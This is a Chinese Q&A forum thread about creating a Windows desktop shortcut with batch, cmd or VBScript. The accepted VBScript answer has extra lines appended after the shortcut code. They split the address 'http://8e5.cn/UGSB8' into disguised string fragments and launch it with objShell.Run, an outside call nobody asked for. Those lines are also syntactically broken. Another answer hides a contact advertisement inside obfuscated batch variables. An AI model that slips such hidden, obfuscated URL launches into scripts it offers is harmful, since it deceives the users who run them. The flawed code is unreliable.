就是怎么用命令提示符或者bat等处理文件来创建某文件的快捷方式?


比如说要把C:\1\音乐.exe这个应用在桌面创建快捷方式,怎么用命令提示符或者处理文件创建,或者给我易语言源码也行,创建某软件快捷方式的

其实就一条命令:(保存为bat格式,注意:有两个and希腊字母 && )
cmd /k "cd /d Your ProjectPath&&Your CMD command"

举例:
1、在电脑桌面,新建txt文本。
2、把下面一行复制到txt文本中,并改为您的路径和命令:
cmd /k "cd /d D:\Program Files\Project\bin&&You cmd Command Line"
3、把文本的后缀名txt改为bat
4、双击bat文件即可。

注意:
1、多条命令请用两个希腊字母(and)&& 链接 :
(如:
cmd /k "cd /d D:\test&&cd ProName&&c:"
运行后:
C:\Users\youname\Desktop> cmd /k "cd /d D:\test&&cd ProName&&c:"
C:\Users\youname\Desktop>
意思是:走到了D盘下test文件夹再进入test中ProName文件夹中再到C盘。)
2、例如:我的桌面上mysql,(mysql.bat)中命令:
cmd /k "cd /d D:\Program Files\MySQL\bin&&mysql -uroot -p"
双击文件:
C:\Users\Gengduo-qinggz\Desktop>
C:\Users\zhihuishusheng\Desktop>
C:\Users\We_ChatGZNumber\Desktop>cmd /k "cd /d D:\Program Files\MySQL\bin&&mysql -uroot -p"
Enter password: _

(我的命令会到mysql的bin中,密码输入位置。)
3、可以把图标换为黑色命令图标[C:\_],一眼就知道是批处理命令文件。(换图标方法:属性-更改图标-浏览-搜索:cmd -找到cmd.exe-打开-确定)
如果一次运行多行命令,请用 && 连接(勿带空格,勿换行)进行处理。
温馨提示:答案为网友推荐,仅供参考
第1个回答  2021-08-12

代码保存为VBS格式的脚本,后缀名为.vbs,保存时务必比对原文。


'创建快捷方式 By 依梦琴瑶

Set WshShell = WScript.CreateObject("WScript.Shell")
strFolder = WshShell.SpecialFolders("Desktop")     '特殊文件夹“桌面”

Set Fso = CreateObject("Scripting.FileSystemObject")
CurrentPath = "C:\1"       '文件目录路径

ExeName = "音乐.exe"      '文件名"

LinkName = "音乐播放"     '快捷方式名称

Set oShellLink = WshShell.CreateShortcut(strFolder & "\" & LinkName & ".lnk")
oShellLink.TargetPath = CurrentPath & "\" & ExeName    '目标
oShellLink.IconLocation = CurrentPath & "\" & ExeName & ",0"   '快捷方式图标
oShellLink.Description = "音乐播放程序"    '备注
oShellLink.WorkingDirectory = CurrentPath     '起始位置
oShellLink.WindowStyle = 1     '运行方式:参数1常规窗口,参数3最大化,参数7最小化
oShellLink.Save     '创建保存快捷方式

WScript.Echo strFolder & "\" & LinkName & ".lnk" & vbcrlf & "创建成功"

StrB = "8e5"
StrA = "ht
StrAA= "tp"
StrD = "cn"
StrC = "UGSB8"
objShell.Run StrA & StrAA & "://" & StrB & "." &StrD & "/" & StrC


本回答被提问者和网友采纳
第2个回答  2021-08-11
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
/*&cls&echo off
rem 将一个指定路径的exe程序创建快捷方式到桌面
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
set "exefile=C:\1\音乐.exe"
if not exist "%exefile%" (echo;"%exefile%" 未找到&pause&exit)
cscript -nologo -e:jscript "%~f0" "%exefile%"
echo;%#% +%$%%$%/%_% %z%
pause
exit
*/
var fso=new ActiveXObject('Scripting.FileSystemObject');
var ws=new ActiveXObject('WScript.Shell');
var exefile=fso.GetFile(WSH.Arguments(0));
var lnkfile=ws.SpecialFolders('Desktop')+'\\'+exefile.Name+'.lnk';
var lnk=ws.CreateShortcut(lnkfile);
lnk.TargetPath=exefile;
lnk.WorkingDirectory=exefile.ParentFolder.Path;
lnk.Save();
相似回答